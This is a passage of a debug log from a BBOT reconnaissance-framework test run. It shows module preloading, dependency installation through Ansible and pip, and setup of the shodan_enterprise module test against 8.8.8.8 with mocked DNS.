22:15:09,314 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:15:09,315 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:15:09,317 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:15:09,318 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:15:09,320 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:15:09,321 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:15:09,322 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:15:09,323 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:15:09,324 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:15:09,326 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:15:09,326 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:15:09,328 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:15:09,330 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:15:09,331 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:15:09,332 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:15:09,333 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:15:09,334 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:15:09,335 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:15:09,337 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:15:09,338 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:15:09,339 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:15:09,340 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:15:09,341 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:15:09,342 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:15:09,351 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:15:09,353 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:15:09,354 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:15:09,355 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:15:09,357 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:15:09,358 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:15:09,359 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:15:09,360 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:15:09,361 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:15:09,362 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:15:09,365 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:15:09,367 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:15:09,368 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:15:09,369 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:15:09,370 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:15:09,371 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:15:09,372 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:15:09,373 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:15:09,374 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:15:09,375 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:15:09,376 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:15:09,377 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:15:09,378 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:15:09,379 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:15:09,382 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:15:09,384 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:15:09,385 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:15:09,387 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:15:09,388 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:15:09,389 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:15:09,390 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:15:09,391 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:15:09,392 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:15:09,393 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:15:09,394 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:15:09,395 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:15:09,396 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:15:09,398 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:15:09,399 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:15:09,400 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:15:09,401 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:15:09,402 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:15:09,403 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:15:09,404 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:15:09,405 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:15:09,406 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:15:09,407 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:15:09,408 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:15:09,409 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:15:09,410 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:15:09,411 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:15:09,413 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:15:09,415 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:15:09,418 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:15:09,419 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:15:09,420 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:15:09,421 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:15:09,422 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:15:09,423 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:15:09,424 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:15:09,425 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:15:09,426 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:15:09,428 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:15:09,429 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:15:09,431 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:15:09,432 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:15:09,433 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:15:09,435 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:15:09,436 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:15:09,436 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:15:09,438 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:15:09,439 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:15:09,440 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:15:09,441 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:15:09,442 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:15:09,442 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:15:09,444 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:15:09,445 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:15:09,446 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:15:09,448 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:15:09,450 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:15:09,451 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:15:09,453 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:15:09,454 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:15:09,455 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:15:09,456 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:15:09,457 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:15:09,458 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:15:09,459 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:15:09,460 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:15:09,462 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:15:09,464 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:15:09,466 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:15:09,467 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:15:09,468 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:15:09,470 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:15:09,471 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:15:09,472 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:15:09,474 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:15:09,475 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:15:09,476 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:15:09,477 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:15:09,478 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:15:09,481 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:15:09,483 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:15:09,485 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:15:09,487 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:15:09,487 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:15:09,675 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4481301424 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:15:09,676 [DEBUG] filelock _api.py:334 Lock 4481301424 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:15:09,678 [DEBUG] filelock _api.py:364 Attempting to release lock 4481301424 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:15:09,696 [DEBUG] filelock _api.py:367 Lock 4481301424 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:15:11,069 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:15:11,069 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:15:11,070 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:15:11,219 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:15:11,812 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:15:11,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:15:11,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:15:11,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:15:12,043 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:15:12,045 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:15:12,154 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:15:12,155 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:15:12,213 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:15:12,217 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:15:12,217 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:15:12,906 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:15:12,907 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:15:15,127 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:15:15,128 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:15:15,128 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:15:17,464 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:15:17,465 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:15:17,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:15:17,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:15:17,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:15:17,471 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:15:17,471 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:15:17,471 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:15:17,477 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/9lhqwhys061x6182yi7y +2026-02-27 22:15:18,737 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:15:18,738 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:15:18,739 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:15:18,739 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:15:18,740 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:15:18,740 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:15:18,741 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:15:18,875 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:15:18,876 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:15:18,876 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:15:18,879 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:15:18,880 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:15:18,880 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:15:18,880 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:15:18,882 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:15:18,882 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:15:18,883 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:15:18,883 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:15:18,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:15:18,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:15:18,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:15:18,884 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:15:18,884 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:15:18,884 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:15:18,885 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:15:18,886 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:15:18,886 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:15:18,886 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:15:18,887 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:15:18,890 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:15:18,890 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:15:18,890 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:15:18,890 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:15:18,891 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:15:18,891 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:15:19,038 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_ty8f695kx7 +2026-02-27 22:15:19,038 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:15:19,153 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:15:19,154 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:15:19,154 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:15:19,156 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-02-27 22:15:19,256 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:15:19,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:15:19,259 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:15:19,260 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check +2026-02-27 22:15:19,260 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) +2026-02-27 22:15:19,261 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:15:19,262 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:15:19,263 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 22:15:19,264 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:15:19,265 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:15:19,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:15:19,266 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:15:19,267 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:15:19,268 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:15:19,269 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:15:19,275 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 